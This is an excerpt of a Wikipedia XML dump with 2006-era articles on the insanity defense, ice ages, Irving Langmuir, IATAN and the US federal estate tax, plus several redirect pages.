Some opponents of the insanity defense, including [[Thomas Szasz]], believe that psychiatry itself emerged as a way to justify mercy, of making persons &quot;exceptional&quot; and thus not deserving of the harsh punishment we would as a society wish to dole out to people who had extremely selfish or widely shared rationales for their actions. Since extreme selfishness (&quot;self-absorption&quot;) or broadly shared resentments (e.g. envy of the rich, hatred of another ethnic group) are somewhat infectious behaviors, some argue that [[schizophrenia]] and other &quot;mental illness&quot; were defined into existence to protect those whose motives and behaviors were not so infectious, and whose offenses were thus unlikely to be repeated by others. The cost of this system of mercy, however, was to classify the [[psychiatrist]] and [[patient]] in an ongoing [[unequal-power relationship]]. See [[myth of mental illness]] and [[antipsychiatry]]).

In ancient Rome, Latin tribes held various religious beliefs that included considering the insane to be divinely blessed, and therefore beyond the reach of human jurisdiction. It is alleged   that insanity as an excuse was introduced in the ancient Roman legal system based upon this tradition. Some modern critics claim that this precedent precludes the insanity defense's validity in a modern secular state like the [[United States]] with a [[Constitutional]] doctrine of [[Separation of church and state]].

The public tends to believe that the insanity defense is used more often than it actually is, possibly because insanity-defense cases tend to be of a high-profile nature. The insanity plea is used in the U.S Criminal Justice System in less than 1% of all [[criminal]] cases, and only one fourth of those defendants are found &quot;not guilty by reason of insanity&quot;.  60-70% of all insanity pleas are not in [[murder]] cases.

Some US courts have begun to ban the use of the insanity defense and a [[1994]] [[United States Supreme Court|Supreme Court]] ruling upheld the right of [[Montana]] to do so. [[Idaho]] and [[Utah]] have also banned this defense.

==Rules of appreciation==
In this section, various rules applied in [[United States]] jurisdiction with respect to insanity defenses are discussed.

===The M'Naghten Rules===
The ''[[M'Naghten Rules]]'' (1843) 10 C &amp; F 200, state, ''inter alia'', that a person may be &quot;insane&quot; if &quot;...at the time of the committing of the act, the party accused was labouring under such a defect of reason, arising from a disease of the mind, as not to know the nature and quality of the act he was doing, or, if he did know it, that he did not know what he was doing was wrong.&quot; These rules are, [[as of 2005]], in force in the majority of [[common law]] jurisdictions.

===The irresistible impulse===
There is also an idea of an [[irresistible impulse]], which argues that a person may have known an act was illegal; but, because of a mental impairment, they couldn't control their actions. In [[1994]], [[Lorena Bobbitt]] was found not guilty of the felony of &quot;malicious wounding&quot; (the equivalent of [[mayhem]]), when her defense argued that an irresistible impulse led her to cut off her husband's penis. In the late nineteenth century some states and federal courts in the United States, dissatisfied with the M'Naghten rule, adopted the irrestible impulse test.  This test, which had first been used in Ohio in 1834, emphasized the inablility to control one's actions.  A person who committed a crime during an uncontrollable &quot;fit of passion&quot; was considered insane and not guility under this test.

===The Durham rule===
The ''Durham Rule'' or &quot;product test&quot; was set forth by the [[United States Court of Appeals for the District of Columbia Circuit]] in [[1954]] and states that &quot;... an accused is not criminally responsible if her unlawful act was the product of mental disease or defect&quot;. After the [[1970s]], US jurisdictions have tended to not recognize this argument as it places emphasis on &quot;mental disease or defect&quot; and thus on testimony by psychiatrists and is argued to be somewhat ambiguous.

===The Insanity Defense Reform Act (US)===
The Insanity Defense Reform Act, enacted by Congress in 1984 in response to the verdict in the Hinckley trial, and codified at Title 18, U.S. Code, Section 17,  states that a person accused of a crime can be adjudged not guilty by reason of insanity if &quot;the defendant, as a result of a severe mental disease or defect, was unable to appreciate the nature and quality or the wrongfulness of her acts.&quot;

===The Substantial Capacity Test===
The [[Substantial Capacity Test]] was defined by the [[American Law Institute]], in its [[Model Penal Code]]. This argues that insanity should be defined as a lack of substantial capacity to control one's behavior. Substantial capacity is defined as: &quot;the mental capacity needed to understand the wrongfulness of [an] act, or to conform...behavior to the...law.&quot; This is related to the M'Naghten Rule and the idea of 'irresistible impulse'.

===The Brawner rule===
The Brawner Rule ([[1972]]) argues that insanity should be decided by a [[jury]]. Under this proposal, juries are allowed to decide the &quot;insanity question&quot; as they see fit.

===Temporary insanity===
The notion of '''temporary insanity''' argues that a defendant was insane, but is now sane. A defendant found to have been temporarily insane will often be released without any requirements of psychiatric treatment. This defense was first used by [[United States House of Representatives|U.S. Congressman]] [[Daniel Sickles]] of [[New York]] in [[1859]] after he had killed his wife's lover, [[Philip Barton Key (1818-1859)|Philip Barton Key]], but was most used during the [[1940s]] and [[1950s]]. Since then, it has not been as successful.

==Scottish law==
The Scottish Law Commission in its  Discussion Paper No 122 on Insanity and Diminished Responsibility (2003) [http://www.scotlawcom.gov.uk/downloads/dp122_insanity.pdf] pp.16/18 confirms that the law has not substantially changed from the position stated in Hume's Commentaries:
:We may next attend to the case of those unfortunate persons, who have plead the miserable defence of idiocy or insanity. Which condition, if it is not an assumed or imperfect, but a genuine and thorough insanity, and is proved by the testimony of intelligent witnesses, makes the act like that of an infant, and equally bestows the privilege of an entire exemption from any manner of pain; ''Cum alterum innocentia concilii tuetur, alterum fati infelicitas excusat''. I say, where the insanity is absolute, and is duly proved: For if reason and humanity enforce the plea in these circumstances, it is no less necessary to observe a caution and reserve in applying the law, as shall hinder it from being understood, that there is any privilege in a case of mere weakness of intellect, or a strange and moody humour, or a crazy and capricious or irritable temper. In none of these situations does or can the law excuse the offender. Because such constitutions are not exclusive of a competent understanding of the true state of the circumstances in which the deed is done, nor of the subsistence of some steady and evil passion, grounded in those circumstances, and directed to a certain object. To serve the purpose of a defence in law, the disorder must therefore amount to an absolute alienation of reason, ''ut continua mentis alienatione, omni intellectu careat'' - such a disease as deprives the patient of the knowledge of the true aspect and position of things about him - hinders him from distinguishing friend from foe - and gives him up to the impulse of his own distempered fancy.
The phrase &quot;absolute alienation of reason&quot; is still regarded as at the core of the defence in the modern law (see ''HM Advocate v Kidd'' 1960 JC 61 and ''Brennan v HM Advocate'' (1977) JC 38).

== External links ==
* [http://www.uchastings.edu/plri/spring95/tmpinsan.html The Temporary Insanity Defense in California]
* [http://samvak.tripod.com/insanitydefense.html Cultural and medical considerations in the concept of insanity defense]
* [http://www.washingtonpost.com/wp-srv/local/longterm/aron/qa227.htm The Insanity Defense: A Closer Look]

==References==
*Bienstock, ''Mothers Who Kill Their Children and Postpartum Psychosis'',  (2003) Vol. 32, No. 3 Southwestern University Law Review,  451.
*Dressler, Joshua, ''Reaffirming the Moral Legitimacy of the Doctrine of Diminished Capacity: A Brief Reply to Professor Morse'', (1984) Vol. 75 Journal of Criminal Law &amp; Criminology, 953.
*Keram, ''The Insanity Defense and Game Theory: Reflections on Texas v.Yates'', (2002) Vol. 30, No. 4 Journal of the American Academy of Psychiatry and the Law, 470.
*Schopp, Robert F. (1991) ''Automatism, Insanity, and the Psychology of Criminal Responsibility'', Cambridge: Cambridge University Press, ISBN 052140150X.
*Schopp, Robert F. (2001) ''Competence, Condemnation, and Commitment: An Integrated Theory of Mental Health Law'', American Psychological Assn., ISBN 1557987459.
*Slobogin, ''An End to Insanity: Recasting the Role of Mental Disability in Criminal Cases'', (2000) Vol. 86 Virginia Law Review, 1199.

[[Category:Criminal defenses]] 
[[Category:Mental health law]]
[[Category:Ethics]]
[[Category:Pleas]]</text>
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  </page>
  <page>
    <title>Irish Gaelic</title>
    <id>15359</id>
    <revision>
      <id>15912835</id>
      <timestamp>2003-01-07T07:09:57Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Irish language]]</text>
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  </page>
  <page>
    <title>Ice age</title>
    <id>15361</id>
    <revision>
      <id>42124516</id>
      <timestamp>2006-03-03T23:58:16Z</timestamp>
      <contributor>
        <username>The tooth</username>
        <id>652482</id>
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      <minor />
      <comment>RV</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:Vostok-ice-core-petit.png|thumb|300px|Variations in CO2, temperature and dust from the [[Vostok, Antarctica|Vostok]] ice core over the last 400 000 years]]

An '''ice age''' is a period of long-term downturn in the [[temperature]] of [[Earth]]'s [[climate]], resulting in an expansion of the continental [[ice sheet]]s, polar ice sheets and mountain [[glacier]]s (&quot;[[glaciation]]&quot;). [[Glaciology|Glaciologically]], ''ice age'' is often used to mean a period of ice sheets in the northern and southern hemispheres; by this definition we are still in an ice age (because the [[Greenland]] and [[Antarctic]] ice sheets still exist). More colloquially, when speaking of the last few million years, ''ice age'' is used to refer to colder periods with extensive ice sheets over the [[North America]]n and [[Europe]]an continents: in this sense, the last ice age ended about 10,000 years ago. This article will use the term ''ice age'' in the former, glaciological, sense; and use the term 'glacial periods' for colder periods during ice ages and 'interglacial' for the warmer periods.

During the last few million years, there have been many glacial periods, occurring initially at 40,000-year frequency but more recently at 100,000-year frequencies. These are the best studied. There have been four major ice ages in the further past.

== Origin of ice age theory ==

The idea that, in the past, glaciers had been far more extensive was folk knowledge in some alpine regions of Europe (Imbrie and Imbrie, p25, quote a woodcutter telling [[Jean de Charpentier]] of the former extent of the [[Switzerland|Swiss]] Grimsel glacier). No single person invented the idea [http://academic.emporia.edu/aberjame/histgeol/agassiz/glacial.htm]. Between 1825 and 1833, Charpentier assembled evidence in support of this idea. In 1836 Charpentier convinced [[Jean Louis Rodolphe Agassiz|Louis Agassiz]] of the theory, and Agassiz published it in his book ''Étude sur les glaciers'' of [[1840]].

At this early stage of knowledge, what were being studied were the glacial periods within the past few hundred thousand years, during the current ice age. The far earlier ice ages' very existence was unsuspected.

== Major ice ages ==

There have been at least four major ice ages in the Earth's past.  

The earliest hypothesized ice age is believed to have occurred around 2.7 to 2.3 [[billion]] (10&lt;sup&gt;9&lt;/sup&gt;) years ago during the early [[Proterozoic]] Age.  

:''Main article: [[Snowball Earth]]''.
The earliest well-documented ice age, and probably the most severe of the last 1 billion years, occurred from 800 to 600 million years ago (the [[Cryogenian]] period) and it has been suggested that it produced a [[Snowball Earth]] in which permanent sea ice extended to or very near the equator.  It has been suggested that the end of this ice age was responsible for the subsequent [[Cambrian Explosion]], though this theory is recent and controversial.  

A minor ice age occurred from 460 to 430 million years ago, during the [[Late Ordovician]] Period.  

There were extensive polar [[ice cap]]s at intervals from 350 to 260 million years ago, during the [[Carboniferous]] and [[Permian|early Permian]] Periods, associated with the [[Karoo Ice Age]]. 
[[Image:Five_Myr_Climate_Change.png|thumb|400px|right|Sediment records showing the fluctuating sequences of glacials and interglacials during the last several million years.]]

The present ice age began 40 million years ago with the growth of an ice sheet in Antarctica, but intensified during the [[Pleistocene]] (starting around 3 million years ago) with the spread of ice sheets in the Northern Hemisphere.  Since then, the world has seen cycles of glaciation with ice sheets advancing and retreating on 40,000 and 100,000 year time scales.  The last glacial period ended about 10,000 years ago.

The timing of ice ages throughout geologic history is in part controlled by the position of the continental plates on the surface of the Earth.  When landmasses are concentrated near the polar regions, there is an increased chance for snow and ice to accumulate.  Small changes in solar energy can tip the balance between summers in which the winter snow mass completely melts and summers in which the winter snow persists until the following winter.  Due to the positions of Greenland, Antarctica, and the northern portions of Europe, Asia, and North America in polar regions, the Earth today is considered prone to ice age glaciations.

Evidence for ice ages comes in various forms, including rock scouring and scratching, [[glacial moraines]], [[drumlins]], valley cutting, and the deposition of [[till]] or tillites and [[glacial erratic]]s. Successive glaciations tend to distort and erase the geological evidence, making it difficult to interpret. It took some time for the current theory to be worked out. Analyses of ice cores and ocean sediment cores unambiguously show the record of glacials and interglacials over the past few million years.

== Interglacials ==
[[Image:Ice Age Temperature.png|right|thumb|300px|Shows the pattern of temperature and ice volume changes associated with recent glacials and interglacials]]

In between ice ages, there are multi-million year periods of more temperate, almost tropical, climate, but also within the ice ages (or at least within the last one), temperate and severe periods occur. The colder periods are called 'glacial periods', the warmer periods 'interglacials', such as the [[Eemian interglacial era]].

We are in an interglacial period now, the last retreat ending about 10,000 years ago.  There appears to be a folk wisdom that &quot;the typical interglacial period lasts ~12,000 years&quot; but this is hard to substantiate from the evidence of ice core records.  For example, an article in ''Nature'' [http://www.nature.com/cgi-taf/DynaPage.taf?file=/nature/journal/v429/n6992/abs/nature02599_fs.html] argues that the current interglacial might be most analogous to a previous interglacial that lasted 28,000 years.  Nonetheless, fear of a new glacial period starting soon does exist (See: [[global cooling]]).  However, many now believe that anthropogenic (manmade) forcing from increased &quot;[[greenhouse gas]]es&quot; would outweigh any [[Milankovitch cycles|Milankovitch]] (orbital) forcing; and some recent considerations of the orbital forcing have even argued that in the absence of human perturbations the present interglacial could potentially last 50,000 years.

== Causes of ice ages ==

The cause of ice ages remains controversial for both the large-scale ''ice age'' periods and the smaller ebb and flow of ''glacial/interglacial'' periods within an ice age. The general consensus is that it is a combination of up to three different factors: atmospheric composition (particularly the fraction of [[carbon dioxide|CO&lt;sub&gt;2&lt;/sub&gt;]] and [[methane]]), changes in the Earth's orbit around the [[Sun]] known as [[Milankovitch cycles]] (and possibly the Sun's orbit around the [[galaxy]]), and the arrangement of the continents.

The first of these three factors is probably responsible for much of the change, especially for the first ice age. The &quot;[[Snowball Earth]]&quot; hypothesis maintains that the severe freezing in the late [[Proterozoic]] was both caused and ended by changes in CO&lt;sub&gt;2&lt;/sub&gt; levels in the atmosphere. However, the other two factors do matter.

An abundance of land within the Arctic and Antarctic Circles appears to be a necessity for an ice age, probably because the landmasses provide space on which snow and ice can accumulate during cooler times and thus trigger positive feedback processes like [[albedo]] changes.  The Earth's orbit does not have a great effect on the long-term causation of ice ages, but does seem to dictate the pattern of multiple freezings and thawings that take place within the current ice age. The complex pattern of changes in [[Earth]]'s orbit and the change of [[albedo]] may influence the occurrence of glacial and interglacial phases &amp;mdash; this was first explained by the theory of [[Milutin Milankovic]].

[[Image:Yosemite_1_bg_090504.jpg|thumb|left|180px|A glacier carried away the missing half of [[Half Dome]] in [[Yosemite Valley]].]]
The present ice ages are the most studied and best understood, particularly the last 400,000 years, since this is the period covered by [[ice core]]s that record atmospheric composition and proxies for temperature and ice volume. Within this period, the match of glacial/interglacial frequencies to the Milankovic orbital forcing periods is so good that orbital forcing is the generally accepted explanation.  The combined effects of the changing distance to the sun, the precession of the Earth's axis, and the changing tilt of the Earth's axis can change and significantly redistribute the sunlight received by the Earth.  Of particular importance are changes in the tilt of the Earth's axis, which impact the intensity of [[seasons]].  For example, the amount of solar influx in July at 65 degrees north [[latitude]] is calculated to vary by as much as 25% (from 400 [[watt|W]]/m&lt;sup&gt;2&lt;/sup&gt; to 500 W/m&lt;sup&gt;2&lt;/sup&gt;, see graph at [http://www.museum.state.il.us/exhibits/ice_ages/insolation_graph.html]).  It is widely believed that ice sheets advance when summers become too mild to melt all of the accumulated snowfall from the previous winter.  Some workers believe that the strength of the orbital forcing appears to be too small to trigger glaciations, but feedback mechanisms like CO&lt;sub&gt;2&lt;/sub&gt; may explain this mismatch.  

While Milankovic forcing predicts that cyclic changes in the Earth's [[Orbit#Orbital_parameters|orbital parameters]] can be expressed in the glaciation record, additional explanations are necessary to explain which cycles are observed to be most important in the timing of glacial/interglacial periods. In particular, during the last 800 thousand years, the dominant inter/glacial oscillation has been 100 thousand years, which corresponds to changes in Earth's [[eccentricity (orbit)|eccentricity]] and orbital [[inclination]], and yet is by far the weakest of the three frequencies predicted by Milankovic.   During the period 3.0 &amp;mdash; 0.8 million years ago, the dominant pattern of glaciation corresponded to the 41 thousand year period of changes in Earth's [[obliquity]] (tilt of the axis).  The reasons for preferring one frequency to another are poorly understood and an active area of current research, but the answer probably relates to some form of resonance in the Earth's climate system. 

The &quot;traditional&quot; Milankovitch explanation struggles to explain the dominance of the 100,000-year cycle over the last 8 cycles. [[Richard A. Muller]] and Gordon J. MacDonald [http://www.pnas.org/cgi/content/full/94/16/8329] [http://muller.lbl.gov/pages/glacialmain.htm]
[http://muller.lbl.gov/papers/sciencespectra.htm] and others have pointed out that those calculations are for a two-dimensional orbit of Earth but the three-dimensional orbit also has a 100 thousand year cycle of orbital inclination. They proposed that these variations in orbital inclination lead to variations in insolation, as the earth moves in and out of known dust bands in the solar system. Although this is a different mechanism to the traditional view, the &quot;predicted&quot; periods over the last 400,000 years are nearly the same. The Muller and MacDonald theory, in turn, has been challenged by Rial [http://pangea.stanford.edu/Oceans/GES290/Rial1999.pdf]. 

Another worker, Ruddiman has suggested a plausible model that explains the 100,000 cycle by the modulating effect of eccentricity (weak 100,000 year cycle) on precession (23,000 year cycle) combined with greenhouse gas feedbacks in the 41,000 and 23,000-year cycles.  Yet another theory has been advanced by Peter Huybers who argued that the 41,000-year cycle has always been dominant, but that the Earth has entered a mode of climate behavior where only the 2nd or 3rd cycle triggers an ice age.  This would imply that the 100,000-year periodicity is really an illusion created by averaging together cycles lasting 80 and 120 thousand years.  This theory is consistent with the existing uncertainties in dating, but not widely accepted at present (Nature 434, 2005, [http://web.mit.edu/~phuybers/www/Doc/Obliquity_HuybersWunsch.pdf]).

== Recent glacial and interglacial phases ==

[[Image:Pleistocene north ice map.jpg|thumb|right|The maximum extent of glacial ice in the north polar area during [[Pleistocene]] time]]

See ''[[Timeline of glaciation]]''.

== Glaciation in North America ==

The Wisconsinan glaciation has had a considerable effect on the landscape of the Northern Hemisphere. In North America, the [[Great Lakes (North America)|Great Lakes]] and the [[Finger Lakes]] were carved by ice's deepening of old valleys, and most of the lakes in Minnesota and Wisconsin were gouged out by glaciers, to be filled with water later when the glaciers melted. The old [[Teays River]] drainage system was radically altered and largely reshaped into the [[Ohio River]] drainage system.  Other rivers were dammed and diverted to new channels, such as the [[Niagara Falls|Niagara]], which formed a dramatic waterfall and gorge, when the waterflow encountered a limestone escarpment. Another similar waterfall near [[Syracuse, New York]] is now dry. [[Long Island]] was formed from glacial till, and the watersheds of [[Canada]] were so severely disrupted that they are still sorting themselves out &amp;mdash; the plethora of lakes on the [[Canadian Shield]] in northern Canada can be almost entirely attributed to the action of the ice. As the ice retreated and the rock dust dried, winds carried the material hundreds of miles, forming beds of [[loess]] many dozens of feet thick in the [[Missouri River|Missouri Valley]]. [[Isostatic rebound]] continues to reshape the [[Great Lakes]] and other areas formerly under the weight of the ice sheets.

The [[Driftless Zone]], around the junction of [[Wisconsin]], [[Minnesota]], and [[Iowa]], was not covered by glaciers.

==Reference==
*Imbrie, John and Katherine Palmer Imbrie.  ''Ice ages: Solving the Mystery''.  Cambridge, Massachusetts: Harvard University Press, 1979, 1986 (reprint).   ISBN 089490020X; ISBN 0894900153; ISBN 0674440757.

==See also==
* [[Geology]]
* [[Timeline of glaciation]]
*[[Cryogenian|Cryogenian period]]
*[[Glacial erratic]]
*[[Glacial striations]]
*[[Glacier]]
* [[Little Ice Age]]
* [[Genesee River: Glacial Geology]] &amp;mdash; Relief maps of some glacial landforms and drainage alterations in western NY.

==External links==
* [http://www.pbs.org/wgbh/nova/ice/ Cracking the Ice Age] from PBS
*http://www.globalchange.umich.edu/globalchange1/current/lectures/samson/climate_patterns/

[[Category:Glaciology]]
[[Category:History of climate]]

[[cs:Glaciál]]
[[cy:Oes yr Iâ]]
[[da:Istid]]
[[de:Eiszeit]]
[[et:Jääaeg]]
[[eo:Glaciepoko]]
[[id:Zaman es]]
[[he:עידן הקרח]]
[[lt:Ledynmetis]]
[[ms:Zaman air batu]]
[[nl:IJstijd]]
[[ja:氷河期]]
[[pl:Epoka lodowcowa]]
[[pt:Idade do gelo]]
[[sk:Glaciál]]
[[sr:Ледено доба]]
[[sv:Istid]]
[[es:Glaciación]]</text>
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  </page>
  <page>
    <title>Irving Langmuir</title>
    <id>15362</id>
    <revision>
      <id>39963408</id>
      <timestamp>2006-02-17T03:20:18Z</timestamp>
      <contributor>
        <username>Krash</username>
        <id>219529</id>
      </contributor>
      <minor />
      <comment>/* Early years */ dab &quot;Plasma&quot;</comment>
      <text xml:space="preserve">[[Image:Langmuir.jpg|right|right|thumb|Irving Langmuir -- chemist and physicist]]

'''Irving Langmuir''' ([[January 31]], [[1881]] in [[Brooklyn, New York]] - [[August 16]], [[1957]] in [[Woods Hole, Massachusetts]]) was an [[United States|American]] [[chemistry|chemist]] and [[physics|physicist]]. While at G.E., from 1909-1950, Langmuir advanced several basic fields of [[physics]] and [[chemistry]], invented the gas filled [[incandescent lamp]], the hydrogen welding technique, and was awarded the 1932 [[Nobel Prize/Chemistry|Nobel Prize for Chemistry]] for his work in [[surface chemistry]]. 

==Early years==
Irving Langmuir was born in [[Brooklyn]], [[New York]] on January 31, 1881. He was the third child (out of four) of Charles Langmuir and Sadie, née Comings. During his childhood, Langmuir's parents actively encouraged him to carefully observe nature and to keep a detailed record of his various observations. When Irving was eleven, it was discovered that he had rather poor eyesight. When this problem was corrected, details and observations that had previously eluded him were revealed. Because of this, his interest in nature and the various complications of nature was heightened.

During his childhood, Langmuir was greatly influenced by his older brother Arthur Langmuir. Arthur was a research chemist who also encouraged Irving to be curious about nature and how things work. Arthur helped Irving set up his first chemistry lab in the corner of his bedroom and he was always there to answer the myriad of questions that Irving would pose to him (which most of the time were on rather trivial matters).

He attended his early education at various schools and institutes in the US and in Paris (1892-1895).
[[Image:Tycho-supernova-xray.jpg|right|right|thumb|'''Tycho's Supernova Remnant''' (a huge ball of exploding [[Plasma (physics)|plasma]]) Langmuir coined the name ''plasma'' because of its similarity to blood plasma, and [[Hannes Alfvén]] noted its cellular nature.]]
He graduated with a B.S. from the [[Columbia University]] [[Columbia University School of Mines|School of Mines]] in 1903 and did postgraduate work in chemistry under Nobel laureate [[Walther Nernst]] in [[Göttingen]] and earned his Ph.D. degree in 1906. Langmuir then taught at [[Stevens Institute of Technology]] in [[Hoboken, New Jersey]], until 1909, when he began working at the [[General Electric]] research laboratory ([[Schenectady, New York]]). 

Langmuir married Marion Mersereau in 1912. They had a son, Kenneth, and a daughter, Barbara.

His initial contributions to science came from his study of light bulbs (which was a continuation of his Ph.D. work).  First, his improvement of vacuum techniques led to the invention of the high-[[vacuum tube]]. A year later he and colleague [[Lewi Tonks]] discovered that the lifetime of a [[tungsten]] filament was greatly lengthened by filling the bulb with an inert gas, such as [[argon]], which is an important part of the modern day [[incandescent light bulb]]. 

As he continued to study filaments in vacuum and different gas environments he began to study the emission of charged particles from hot filaments ([[thermionic emission]]). He was one of the first scientists to work with [[Plasma (physics)|plasma]]s and was the first to call these ionized gases by that name, because they reminded him of blood plasma [http://www.plasmacoalition.org/what.htm Ref].

He introduced the concept of [[Plasma (physics)#Temperatures|electron temperature]] and in [[1924]] invented the diagnostic method for measuring both temperature and [[Plasma (physics)#Densities|density]] with an electrostatic probe, now called a [[Langmuir probe]] and commonly used in plasma physics. The current of a biased probe tip is measured as a function of bias voltage to determine the local plasma temperature and density.

He also discovered atomic [[hydrogen]], which he put to use by inventing the atomic hydrogen welding process.

==Later years==
[[Image:Langmuirtime.jpeg|thumb|''[[Time Magazine]]'', [[August 28]], [[1950]]]]
Following [[World War I]] Langmuir contributed to atomic theory and the understanding of atomic structure by defining the modern concept of [[valence shells]] and [[isotope]]s. 

He joined [[Katherine Blodgett]] to study thin films and surface adsorption. They introduced the concept of a [[monolayer]] (a layer of material one molecule thick) and the two dimensional physics which describes such a surface. In 1932 he received the [[Nobel Prize/Chemistry|Nobel Prize for Chemistry]] &quot;for his discoveries and investigations in [[surface chemistry]].&quot;

In 1938, Langmuir refuted the claim of entomologist [[Charles H. T. Townsend]] that the [[deer botfly]] flew at speeds in excess of 800 miles per hour.  Langmuir estimated the fly's true speed at 25 miles per hour.

During [[World War II]] Langmuir worked to develop protective smoke screens and methods for de-icing aircraft wings. This research led him to discover that the introduction of [[dry ice]] and [[iodide]] into a sufficiently moist cloud of low temperature could induce precipitation ([[cloud seeding]]), allowing some degree of [[weather control]].

In 1953 Langmuir presented a colloquium of [[Pathological science]].

==Patents==

* Langmuir, {{US patent|1244217}}, &quot;''Electron-discharge apparatus and method of operating the same''&quot;

* Langmuir, {{US patent|1251388}}, &quot;''Method of and apparatus for controlling x-ray tubes''&quot;

==External links and references==

* [http://pubs3.acs.org/journals/langd5/index.html Langmuir Journal] ACS Chemistry Journal of Surfaces and Colloids
* &quot;''[http://www.infoplease.com/ipa/A0767167.html Langmuir, Irving]''&quot; Infoplease.com.
* &quot;'' [http://www.amasci.com/freenrg/balllg1.html Irving Langmuir's Ball Lightning Tube]''&quot;. Ball Lightning Page.  [http://www.amasci.com/ Science Hobbyist].
* [http://www.aip.org/history/esva/catalog/esva/Coolidge_David.html William David Coolidge, Irving Langmuir, Joseph John Thomson] ([http://store.aip.org/OA_MEDIA/esva/langmuir_c4.jpg Photo] ([[JPG]])) [aip.org].
* &quot;''[http://www.harvardsquarelibrary.org/unitarians/images/WHITNEY6.JPG Irving Langmuir] shows Whitney one of his inventions, the Pliotron tube. ca. 1920.''&quot;. [http://www.harvardsquarelibrary.org/unitarians/whitney.html Willis Rodney whitney]: the &quot;Father of basic research in industry&quot;.
*[http://www.cs.princeton.edu/~ken/Langmuir/langmuir.htm &quot;Pathological Science&quot;] - &quot;famous&quot; lecture of [[1953]] [[December 18]] at GE Labs

[[Category:1881 births|Langmuir, Irving]]
[[Category:1957 deaths|Langmuir, Irving]]
[[Category:American scientists|Langmuir, Irving]]
[[Category:Columbia alumni|Langmuir, Irving]]
[[Category:Nobel Prize in Chemistry winners|Langmuir, Irving]]
[[Category:Schenectadians|Langmuir, Irving]]
[[Category:Scottish-Americans|Langmuir, Irving]]

[[de:Irving Langmuir]]
[[es:Irving Langmuir]]
[[fr:Irving Langmuir]]
[[nl:Irving Langmuir]]
[[ja:アーヴィング・ラングミュア]]
[[pl:Irving Langmuir]]
[[pt:Irving Langmuir]]</text>
    </revision>
  </page>
  <page>
    <title>Iron age</title>
    <id>15363</id>
    <revision>
      <id>15912839</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Iron Age]]
</text>
    </revision>
  </page>
  <page>
    <title>International Association of Travel Agents Network</title>
    <id>15365</id>
    <revision>
      <id>40204071</id>
      <timestamp>2006-02-18T23:07:50Z</timestamp>
      <contributor>
        <username>Grutness</username>
        <id>117878</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''IATAN''' stands for the '''International Association of Travel Agents Network'''. They are an industry association designed to represent the interests of their member companies.

In addition, they (along with the [[IATA]]) are the body responsible for the standard international codes for airlines, airports, hotels, cities, and car rental firms (for example, the three-digit codes that designate [[London Heathrow Airport]] as LHR).

{{org-stub}}
==See also==
* [[IATA airport code]]
* [[list of airports]]
* [[travel agent]]

==External links==
* [http://www.iatan.org/ Official web site]

[[Category:Industry trade groups]]</text>
    </revision>
  </page>
  <page>
    <title>Informed Consent</title>
    <id>15366</id>
    <revision>
      <id>15912842</id>
      <timestamp>2002-04-25T09:42:46Z</timestamp>
      <contributor>
        <username>Lee Daniel Crocker</username>
        <id>43</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Informed consent]]
</text>
    </revision>
  </page>
  <page>
    <title>Inheritance tax</title>
    <id>15367</id>
    <revision>
      <id>41612465</id>
      <timestamp>2006-02-28T14:39:16Z</timestamp>
      <contributor>
        <ip>216.170.39.146</ip>
      </contributor>
      <text xml:space="preserve">'''Inheritance tax''', also known in some countries outside the United States as a '''death [[duty (economics)|duty]]''' and referred to as an '''estate tax''' within the U.S, is a form of [[tax]] imposed upon the transfer of the property of the [[Estate (law)|estate]] of a deceased person that is left to a living person or organisation.

Supporters of the inheritance tax argue that it is not a death tax per se, but simply a tax on a transfer of wealth. Opponents argue that the tax is applied to the full estate, and not merely the amount transferred, which arguably increases the effective transfer tax rate. In the United States, the tax is imposed only on the &quot;taxable estate,&quot; which is generally less than the value of the full estate.

If an asset is left to a spouse or a charitable organization, some countries do not apply the tax. The tax is also imposed on other transfers of property made as an incident of the death of the owner, such as a transfer of property from an [[intestate]] estate or trust, or the payment of certain [[life insurance]] benefits or financial account sums to beneficiaries.

''For UK Inheritance tax, see [[Inheritance Tax (United Kingdom)]].

==United States==

In the United States, estate and/or inheritance taxes may be imposed at both the national (Federal) level and the state level.

===Federal estate tax===
The Federal ''estate tax'' is imposed &quot;on the transfer of the taxable estate of every decedent who is a citizen or resident of the United States.&quot; See {{usc|26|2001(a)}}.

====The &quot;gross estate&quot;====
The &quot;gross estate&quot; for Federal estate tax purposes often includes more property than that included in the &quot;probate estate&quot; under the property laws of the state in which the decedent lived at the time of death. The starting point for the calculation of the estate tax is the value of the &quot;gross estate&quot; defined at {{usc|26|2031}} and {{usc|26|2033}}, as modified by certain other statutory provisions. The gross estate (before the modifications) may be considered to be the value of all the property interests of the decedent at the time of death. To these interests are added the following property interests generally not owned by the decedent at the time of death:

*the value of property to the extent of an interest held by the surviving spouse as a &quot;dower or curtesy&quot; (see {{usc|26|2034}});

*the value of certain items of property in which the decedent had, at any time, made a transfer during the three years immediately preceding the date of death (i.e., even if the property was no longer owned by the decedent on the date of death), other than certain gifts, and other than property sold for full value (see {{usc|26|2035}});

*the value of certain property transferred by the decedent before death for which the decedent retained a &quot;life estate,&quot; or retained certain &quot;powers&quot; (see {{usc|26|2036}});

*the value of certain property in which the recipient could, through ownership, have possession or enjoyment only by surviving the decedent (see {{usc|26|2037(a)(1)}});

*the value of certain property in which the decedent retained a &quot;reversionary interest,&quot; the value of which exceeded five percent of the value of the property (see {{usc|26|2037(a)(2)}});

*the value of certain property transferred by the debtor before death where the transfer was revocable (see {{usc|26|2038}});

*the value of certain annuities (see {{usc|26|2039}});

*the value of certain jointly owned property (see {{usc|26|2040}});

*the value of certain &quot;powers of appointment&quot; (see {{usc|26|2041}});

*the amount of proceeds of certain life insurance policies (see {{usc|26|2042}}).

The above list of modifications is not comprehensive.

